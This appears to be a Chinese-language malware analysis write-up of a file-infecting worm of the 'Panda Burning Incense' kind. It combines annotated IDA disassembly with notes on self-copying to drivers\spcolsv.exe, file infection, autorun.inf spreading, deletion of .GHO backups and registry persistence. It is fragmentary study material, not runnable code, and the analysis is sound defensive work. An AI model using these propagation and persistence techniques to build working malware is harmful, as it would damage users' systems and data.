CODE:004087A4                 mov edx, eax CODE:004087A6                 lea eax, [ebp+self_file] CODE:004087A9                 pop ecx CODE:004087AA                 call sub_40416C CODE:004087AF                 lea eax, [ebp+var_10] CODE:004087B2                 mov edx, [ebp+self_file] CODE:004087B5                 call    sub_403CDC      ; 这个函数中,若是字符串-8位置的值为-1,则什么都不会作,返回了
CODE:004087BA                 xor eax, eax CODE:004087BC                 push ebp CODE:004087BD                 push offset loc_40888C CODE:004087C2                 push    dword ptr fs:[eax] CODE:004087C5                 mov     fs:[eax], esp CODE:004087C8                 lea eax, [ebp+var_41C] CODE:004087CE                 call sub_4054BC CODE:004087D3                 push [ebp+var_41C] CODE:004087D9                 push    offset aDrivers ; "drivers\\"
CODE:004087DE                 push    offset aSpcolsvExe ; "spcolsv.exe"
CODE:004087E3                 lea eax, [ebp+var_418] CODE:004087E9                 mov     edx, 3
CODE:004087EE                 call sub_403F8C CODE:004087F3                 mov edx, [ebp+var_418] CODE:004087F9                 lea eax, [ebp+var_3B0] CODE:004087FF                 call sub_402AD8 CODE:00408804                 mov     eax, ds:off_40E2BC CODE:00408809                 mov     byte ptr [eax], 2
CODE:0040880C                 lea eax, [ebp+var_3B0] CODE:00408812                 call sub_402868 CODE:00408817                 call sub_402614 CODE:0040881C                 mov edx, [ebp+var_10] CODE:0040881F                 lea eax, [ebp+var_3B0] CODE:00408825                 call sub_404260 CODE:0040882A                 call sub_402B88 CODE:0040882F                 call sub_402614 CODE:00408834                 lea eax, [ebp+var_3B0] CODE:0040883A                 call sub_402C48 CODE:0040883F                 call sub_402614 CODE:00408844                 push    1
CODE:00408846                 lea eax, [ebp+var_424] CODE:0040884C                 call sub_4054BC CODE:00408851                 push [ebp+var_424] CODE:00408857                 push    offset aDrivers ; "drivers\\"
CODE:0040885C                 push    offset aSpcolsvExe ; "spcolsv.exe"
CODE:00408861                 lea eax, [ebp+var_420] CODE:00408867                 mov     edx, 3
CODE:0040886C                 call sub_403F8C CODE:00408871                 mov eax, [ebp+var_420] CODE:00408877                 call sub_4040CC CODE:0040887C                 push    eax             ; lpCmdLine
CODE:0040887D                 call WinExec CODE:00408882                 xor eax, eax CODE:00408884                 pop edx CODE:00408885                 pop ecx CODE:00408886                 pop ecx CODE:00408887                 mov     fs:[eax], edx CODE:0040888A                 jmp short loc_408896 CODE:0040888C ; ---------------------------------------------------------------------------
CODE:0040888C
CODE:0040888C loc_40888C:                             ; DATA XREF: sub_4082F8+4C5↑o
CODE:0040888C                 jmp sub_403538 CODE:00408891 ; ---------------------------------------------------------------------------
CODE:00408891                 call sub_4036F0 CODE:00408896
CODE:00408896 loc_408896:                             ; CODE XREF: sub_4082F8+3F9↑j
CODE:00408896                                         ; sub_4082F8+592↑j
CODE:00408896                 push    0               ; uExitCode
CODE:00408898                 call ExitProcess_0 CODE:0040889D ; ---------------------------------------------------------------------------
CODE:0040889D
CODE:0040889D loc_40889D:                             ; CODE XREF: sub_4082F8+2D6↑j
CODE:0040889D                 mov edx, [ebp+var_8] CODE:004088A0                 mov     eax, offset dword_408934 ; 这里的值为1
CODE:004088A5                 call sub_4041B4 CODE:004088AA                 test eax, eax CODE:004088AC                 jg      loc_4085D3      ; 没跳
CODE:004088B2                 xor eax, eax CODE:004088B4                 pop     edx             ; 这段清除了栈上的SEH,下面应该是退出代码了,应该和程序逻辑没有什么关系
CODE:004088B5                 pop ecx CODE:004088B6                 pop ecx CODE:004088B7                 mov     fs:[eax], edx CODE:004088BA                 push offset loc_4088E4 CODE:004088BF

关键函数二

要执行到第二个关键函数,必须到system目录下执行新建的spcolsv.exe了,由于原程序在第一个关键函数的末尾执行WinExec以后就退出了

这个函数有3个功能,分别对应着3中感染方式

首先看第一个

首先会遍历全部的驱动器

遍历驱动器下的目录,过滤掉特殊目录,而后新创建Desktop_.ini文件,而后还会删除.GHO文件

在一个文件遍历结束以后,会跳到40953f处,从新遍历文件,当文件类型是文件的时候,则会跳到409DC3去进行文件感染,文件感染的类型也有不少,不一样类型的感染方式也不同,这里就不具体分析了。

而后是第二种感染,建立的是定时器

定时器代码在目录下生成了autorun.inf和setup.exe文件,用以自动执行,和以前的感染代码同样

第3个函数和网络相关

sub_40BCC8应该就是实际运行的函数

关键函数三

关键函数3设置4个定时器

设置开机启动,不能显示隐藏文件的注册表更改

 后面的以后再分析吧

 

 

 

 

 

 

 

 

 

 

 

 

 

当第一个sub_403C98函数被调用完以后

 

而后OD看一下这函数执行完以后的值状况,函数执行完以后没有eax的操做,因此函数没有返回值

 

看上述解密函数

 

 

开始代码法分析,IDA的Options->String litera style能够更改字符串解码方式,能够解析出edx是指向了字符串,而后调用了403C98,

CODE:0040D0F2                 mov eax, offset dword_40F7D4 CODE:0040D0F7                 mov     edx, offset asc_40D1D8 ; "***武*汉*男*生*感*染*下*载*者***"
CODE:0040D0FC                 call    sub_403C98      ; 这个函数的参数有两个
CODE:0040D0FC                                         ; 一、eax
CODE:0040D0FC                                         ; 二、edx在调用处指向字符串

接着看403C98这个位置的函数,

CODE:00403C98                 test edx, edx      ;edx指向了字符串 CODE:00403C9A                 jz      short loc_403CC0 ; 这里应该是一个字符串为空的检查
CODE:00403C9C                 mov     ecx, [edx-8]    ;edx-8的位置值是-1 CODE:00403C9F                 inc ecx          ;加1变为0,zf标志位置1 CODE:00403CA0                 jg short loc_403CBC  ;跳转条件为zf为0,SF=AF,因此这里不跳转 CODE:00403CA2                 push eax CODE:00403CA3                 push edx CODE:00403CA4                 mov     eax, [edx-4]    ;此时eax为0x20h CODE:00403CA7                 call sub_403D08     ; CODE:00403CAC                 mov edx, eax CODE:00403CAE                 pop eax CODE:00403CAF                 push edx CODE:00403CB0                 mov     ecx, [eax-4] CODE:00403CB3                 call sub_402650 CODE:00403CB8                 pop edx CODE:00403CB9                 pop eax CODE:00403CBA                 jmp     short loc_403CC0 ; 错误检查代码
CODE:00403CBC ; ---------------------------------------------------------------------------
CODE:00403CBC
CODE:00403CBC loc_403CBC:                             ; CODE XREF: sub_403C98+8↑j
CODE:00403CBC                 lock inc dword ptr [edx-8] CODE:00403CC0
CODE:00403CC0 loc_403CC0:                             ; CODE XREF: sub_403C98+2↑j
CODE:00403CC0                                         ; sub_403C98+22↑j
CODE:00403CC0                 xchg    edx, [eax]      ; 错误检查代码
CODE:00403CC2                 test edx, edx CODE:00403CC4                 jz short locret_403CDA CODE:00403CC6                 mov     ecx, [edx-8] CODE:00403CC9                 dec ecx CODE:00403CCA                 jl short locret_403CDA CODE:00403CCC                 lock dec dword ptr [edx-8] CODE:00403CD0                 jnz short locret_403CDA CODE:00403CD2                 lea     eax, [edx-8] CODE:00403CD5                 call sub_402540 CODE:00403CDA
CODE:00403CDA locret_403CDA:                          ; CODE XREF: sub_403C98+2C↑j
CODE:00403CDA                                         ; sub_403C98+32↑j ...
CODE:00403CDA                 retn